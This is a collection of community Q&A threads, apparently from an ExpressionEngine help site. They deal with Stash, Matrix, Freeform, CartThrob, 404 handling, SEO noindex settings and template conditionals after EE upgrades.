This may not be the problem but you should definitely get rid of eAccelerator. It's flaky with some PCRE operations (using preg\_match() for example) in PHP 5.4 and later. It's possible code changes in EE or one of the add-ons you use have triggered a bug. Use Zend Opcache instead on PHP 5.4+.

Other than that, upgrading to EE 2.9 would likely give you back some performance due to the new conditional parser.
> 3 votes

---
Tags: ee2-upgrades, loading-time
---


# Question
Title: ExpressionEngine Stash Replacing rather than appending
I'd massively appreciate a bit of help with the Stash ExpressionEngine plugin... I think it must be quite simple but feel like I've tried everything...

The {expertise} tag is an ExpressionEngine grid field and contains multiple grid rows. I want to store these in stash - it's working to store them once but is always replaced when I run it again... I want what's stored in stash to constantly append rather than blanking the variable and starting again each time is is run...

Any ideas?

Many thanks in advance for any help!

```
{exp:channel:entries channel="barristers" url_title="{segment_3}" status="open" sort="asc" disable="pagination"}

<p>Adding {title}'s full CV (all the skills)...</p>

{expertise}

{exp:stash:append scope="user" save="yes" name="skills" output="yes" replace="no"}
{expertise:row_id},
{/exp:stash:append}

{/expertise}

<p>IN SESSION: {exp:stash:get name="skills"}</p>

{/exp:channel:entries}

```

# Answer
I would wrap the grid field with stash set\_list instead of append. You can add output="yes" to view what's being set in the database with the set\_list (or better yet, check out Mustash).

```
{exp:channel:entries channel="barristers" url_title="{segment_3}" status="open" sort="asc" disable="pagination" limit="1"}

    Adding {title}'s full CV (all the skills)...

    {exp:stash:set_list
        name="skills"
        scope="user"
        save="yes"
        replace="no"
        parse_tags="yes"
    }
        {expertise}
            {stash:expertise_row_id}{expertise:row_id}{/stash:expertise_row_id}
        {/expertise}
    {/exp:stash:set_list}

    IN SESSION:
        {exp:stash:get_list
            name="skills"
            scope="user"
            backspace="2"
        }
            {expertise_row_id},
        {/exp:stash:get_list}

{/exp:channel:entries}

```
> 1 votes

---
Tags: stash, php
---


# Question
Title: Cannot use Login as Member for another Super Admin
EE 2.8.1 - when I try to login as a member (another Super Admin) and check the radio button for go to CP (or any button or none) EE just logs me out and dumps me back on the login screen.

Anyone have a similar issue or suggest a fix?

# Answer
Found a fix for this: turns out it was the CP url in the config file was wrong! Doh!
> 0 votes

---
Tags: control-panel
---


# Question
Title: In EE 2.9.1 is there a way to removed default fields from the registration page?
In EE 2.9.1 is there a way to removed default fields from the registration page? I see that I can create fields that add to the registration page, but I don't see a way to remove default fields. Surely someone other myself has had this thought before. Any help is appreciated. Thank you.

# Answer
> 2 votes
There are are a number of options open to you:

1. Edit the default member registration template in Design-\>Templates-\>Themes-\>Member Profile Templates
2. Use an add-on like Freemember
3. Create your own custom registration form

---
Tags: ee2, fields, registration
---


# Question
Title: Looking for an ExpressionEngine addon like this
I'm looking for an ExpressionEngine addon that can do the following:

1. have a short form that allows a file to be uploaded, form will include date, etc.
2. based on the template the file should automatically be tagged for easy retrieval

Sounds rather simple, but I'm not sure if I'll need a combination of addons or if I'm missing built in features.

**Edited to better state my question. See below.**

Basically a document retrieval system with tags so that it makes it easier to find and retrieve given documents.

Thanks.

# Answer
> 1 votes
Would you be able to achieve this by creating an "Uploads" channel with your required date and other fields. Add a file upload field to it too.

I'm not sure what you mean by "tagged. If you mean that this will be uploaded from the front end then you could add a "template" field to the channel and then in the form make that a hidden field containing whatever tag you need (such as the template name).

---
Tags: ee2, add-on
---


# Question
Title: Why doesn't {if no_results}{redirect="404"}{/if} return a 404 header?
Under Design \> Templates \> Global Template Preferences I have Strict URLS set to yes and I've defined the 404 page (It lives at /errors/404).

We're running EE 2.8.1 and PHP 5.3.27

Something like http://site.com/foo displays the 404 template and properly returns a 404 header.

This URL exists and displays content properly http://site.com/groups/studies/i-love-my-church

**The problem**

http://site.com/groups/studies/foo displays the 404 template, but incorrectly returns a 200 response. (http://cl.ly/image/3E3U1N2X2j1L)

EE Docs state that EE will only evaluate the first two segments unless used in conjunction with the require\_entry parameter. Unfortunately, using this doesn't change the header.

**The code**

groups/\_studies-collection:

```
{exp:channel:entries channel="groups_study" url_title="{segment_3}" require_entry="yes" dynamic="off" status="Featured|Open"}

    Content Here

    {if no_results}
        {redirect="404"}
    {/if}
{/exp:channel:entries}

```

groups/studies:

```
{if segment_3}
    {if segment_4}
        {embed="groups/_studies-entry"}
    {if:else}
        {exp:md_detect_page_type url_segment="{segment_3}"}
            {if pagination_page}
                {embed="groups/_studies-list"}
            {if:else}
                {embed="groups/_studies-collection"}
            {/if}
        {/exp:md_detect_page_type}
    {/if}
{if:else}
    {embed="newspring:groups/_studies-list"}
{/if}

```

Any clarity on this issue would be appreciated!

# Answer
I don't know if it's also in the bug reports, but there is a note in the changelog for 2.9.1 :

> Fixed a bug in the 404 redirect behavior when used inside a no\_results tag on an embedded template.

This might be your issue if it works as expected outside of an embed.
> 1 votes

# Answer
The no results conditional doesn't necessarily mean it's a 404 ~~and the fact you have a template called "404" doesn't mean that EE will assume it requires a 404 header - it's just another template~~.

The strict URLs setting will mean any URL not picked up natively by templates will get the 404 header assigned to it - your URL on the other hand is being passed through a template.

\[Edit - seeing as the native 404 redirect isn't working...\]

You need to drop a plugin into your 404 template to correctly, try one of these: http://devot-ee.com/search/results?keywords=404+redirect+header&addon\_version\_support=ee2
> 0 votes

---
Tags: redirects, 404, error-pages
---


title: Separate items in cart by size option

text:
# Question
Title: Separate items in cart by size option
I am having a problem with my EE CartThrob cart. I have products with "options" for size. In the cart if I add 1 item size Small and 1 item size Medium they get added as the same item with a quantity of 2 and the size option set to Medium. It ignores my first size selection and combines it with the most recent selection.

Is there any way to adjust this so each size is it's own entry in the cart?

# Answer
There are a couple of settings under *CartThrob → Settings → Products*:

* Allow items to appear more than once in cart
* Split multiple quantities into single items

These likely need to be adjusted in your case.
> 0 votes

# Answer
Can also happen if your (multi\_)add\_to\_cart form is not correctly passing the options in properly, so check how you're doing that carefully.
> 0 votes

---
Tags: cartthrob, options, size
---


# Question
Title: Group entries by month based on custom date picker field
Would anyone know if it is possible to group a list of entries by month, but based on a custom date picker field? To display something like this:

October 2014 Title 1 Title 2 Title 3

November 2014 Title 4 Title 5

December 2014 Title 6

January 2015 Title 7 Title 8 etc etc.

It's for a list of holidays, that I need to display by date order in groups. So the entry\_date isn't the actual date if the holiday, I've got a custom field as the holiday start date and another on as the holiday end date.

# Answer
I think there are a couple ways to approach this. These links from a previous conversation may help:

Show all entries from a given custom date field

http://www.solspace.com/software/detail/date\_field\_filter/
> 0 votes

# Answer
I'm actually doing someting similar on a site right now to display a list of entries that have been released over the past several months. It groups by month and displays the corresponding entries underneath. Here is my base code:

```
{exp:channel:entries channel="" limit="20" month_limit="2" category_group="4|9|5|3"}
    {date_heading display="monthly"}
        <h4 class="whats-new-month">
            <a name="#{entry_date format="%F-%Y"}">{entry_date format="%F %Y"} Releases</a>
        </h4>
    {/date_heading}
    <div class="whats-new">
        <h6>{title}</h6>
        <ul class="whats-new">
            <li><b>Date Released</b>: {entry_date format="%F %j, %Y"}</li>
            {if cf_master_summary}
                <li><b>Summary</b>: {cf_master_summary}</li>
            {/if}
            <li><b>Where to find it</b>: <a href="">...</a></li>
        </ul>
    </div>
{/exp:channel:entries}

```

Hope that helps!
> 1 votes

---
Tags: channel-entries, grouping, date-field-filter
---


# Question
Title: How do I add a no follow meta tag to expression engine CMS templates?
The SEO agency in charge of my client's website has unearthed a significant duplication issue due to which the business may get penalized.

We have setup the expressionengine cms at `secretcmsurl.domain.com` and somehow google has managed to index all CMS related urls which are obviously the same as the main websites. We now need to un-index these cms urls.

When I suggested that we add no-follow robots.txt entries, the agency said that it would reflect on the main website as well.

How do I now add a `<meta name="robots" content="noindex, nofollow">` meta tag **only** to the backend cms templates? Do I write a plugin? If so, what kind of plugin?

# Answer
It's a simple matter of adding the robots meta tag to the templates which you don't wish to be indexed.

Then use Google's Webmaster Tools to remove those URLs from its index.

You could create a 'dynamic' robots file that applies only to your subdomain by using an htaccess rule like so: (from http://moz.com/community/q/block-an-entire-subdomain-with-robots-txt)

```
RewriteEngine on
RewriteCond %{HTTP_HOST} ^subdomain.website.com$
RewriteRule ^robotx\.txt$ robots-subdomain.txt

Then add:

User-agent: *
Disallow: /

```

You should also read the rest of that thread and specifically this

The very next thing I would do is sort out how the site is set up. Having the subdomain and root domain pointing at the same place sounds like a recipe for disaster.

How are the "CMS" pages being crawled? Surely it requires a log-in to access them?

At the very least turn on http authentication for the templates you use for the CMS portion of the site to prevent them being crawled by anything that doesn't have the necessary credentials.
> 2 votes

---
Tags: plugin, redirects, seo
---


# Question
Title: How to insert matrix rows data using channel API?
How to use channel entries api for creating channel entries which contains matrix field, I have a channel which contains some text fields and one matrix field.The channel api works fine when I insert data of text fields but I was not able to find any documentation of how to insert matrix field data. My code looks like this

Can any one please help me out?

# Answer
> 1 votes
I wrote this function... try it out...

```
private function create_matrix_field($field_id, $type, $name, $label, $required = 'y', $search = 'y')
{
    $matrix_columns = array('site_id'               => $this->EE->config->item('site_id')
                            , 'field_id'            => $field_id
                            , 'var_id'              => null
                            , 'col_name'            => $name
                            , 'col_label'           => $label
                            , 'col_instructions'    => ''
                            , 'col_type'            => $type
                            , 'col_required'        => $required
                            , 'col_search'          => $search
                            );
    $this->EE->db->insert('exp_matrix_cols', $matrix_columns);
    $this->EE->db->query('ALTER TABLE exp_matrix_data ADD col_id_' . $this->EE->db->insert_id() . ' VARCHAR(255)');
}

```

---
Tags: ee2, matrix, channel, channel-entries-api
---


title: Matrix does not save values

text:
# Question
Title: Matrix does not save values
So I have this field created for one of my users in which I use matrix. EE is version 2.7 and matrix is 2.5.9 I also use MSM

So, basically there is a grid with 2 columns, one is for names and other is for sound. I upload mp3 file, that works ok, I go to matrix field, click add file, I see it, click save and then file is gone. I can do that forever. Like it does not sees change in value.

I have another entry, where also I have sounds, but that entry is few months old. there i click save, everything stays same. It does not delete values.

As far as I see it, problem is in Matrix fieldtype.

# Answer
You need to upgrade to Matrix 2.5.10. According to the release notes for that version:

> Fixed a PHP error that would prevent File cells from saving properly.
> 1 votes

# Answer
I had to switch to grid from ellislab. Now i do not have any problems. I did upgrade of matrix but it was easier to change then to wait to repair problem.
> 0 votes

# Answer
I ran into this same problem a few months back. See post here: Images disappearing from Matrix field

Upgrading to the newest version of Matrix was the ticket for me.
> 0 votes

---
Tags: matrix
---


# Question
Title: Freeform loses its values if an error occurs when not using the standard {freeform:field:short_name}
due to the nature of my project, I cannot use the standard freeform syntax:

```
    {freeform:field:short_name}

```

I instead have to use the following syntax:

```
    <div class="ui left aligned icon input">
        <input type="text" placeholder="Vor- Nachname" id="short_name" value="" name="short_name" required />
        <i class="user icon"></i>
        <div class="ui corner label"><i class="asterisk icon"></i></div>
    </div>

```

It all works great - but If one omits something that triggers an error, the fields that were already filled in are blank.

I am looking to populate the value="" parameter with the things one entered before the error occurred.

e.g. value="{...\_short\_name}

is this possible?

btw: values are stored if you use the {freeform:field:short\_name} syntax.

cheers stefan

# Answer
> 2 votes
After fiddling around I found an undocumented feature:

you can add almost all attributes within the standard field syntax. so this works:

```
    <label for="name">My Field Label</label>
    <div class="ui left aligned icon input">
        {freeform:field:my_field attr:placeholder="My Field Label" attr:id="my_field" attr:required="required"}
        <i class="user icon"></i>
        <div class="ui corner label"><i class="asterisk icon"></i></div>
    </div>

```

the attr:placeholder, attr:required were not documented, but work like they should! great!

---
Tags: solspace-freeform
---


title: Conditional Breaks after 2.9 upgrade

text:
# Question
Title: Conditional Breaks after 2.9 upgrade
I was successfully using the following block of code until I upgraded to EE 2.9.0.

```
{exp:query sql="SELECT COUNT( * ) AS itemCount FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'"}
        {if 15 > {itemCount}}
                  <td><label for="setup_1">Mon. Dec. 9, Setup/iron - 9am-noon: {exp:query sql="SELECT 15 - COUNT( * ) AS itemNeeded FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'"}{itemNeeded}{/exp:query} needed </label>
                  <input type="checkbox" name="setup_1" id="setup_1" value="Yes" /></td>
        {if:else}
            <td>Monday 9-noon is full</td>
        {/if}
    {/exp:query}

```

Now however I get the following error message when I try and load the page:

> Error
>
> You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.
>
> Parser State: Unexpected end of Template “apex/volunteer-form” on line 2; expected ENDIF tag for opening on line 1.

I have carefully checked the page and don't see any missing {/if} or }. Any suggestions for what I am missing here?

# Answer
I did some experimenting and with some leading questions from Mark was lead to discover that {itemCount} needs to be inside of quotes but not inside of { }.

So the final solution is:

```
{exp:query sql="SELECT COUNT( * ) AS itemCount FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'"}
        {if 15 > "itemCount"}
                  <td><label for="setup_1">Mon. Dec. 9, Setup/iron - 9am-noon: {exp:query sql="SELECT 15 - COUNT( * ) AS itemNeeded FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'"}{itemNeeded}{/exp:query} needed </label>
                  <input type="checkbox" name="setup_1" id="setup_1" value="Yes" /></td>
        {if:else}
            <td>Monday 9-noon is full</td>
        {/if}
    {/exp:query}

```

With the conditional as:

```
{if 15 > "itemCount"}

```
> 0 votes

---
Tags: conditionals, advanced-conditionals
---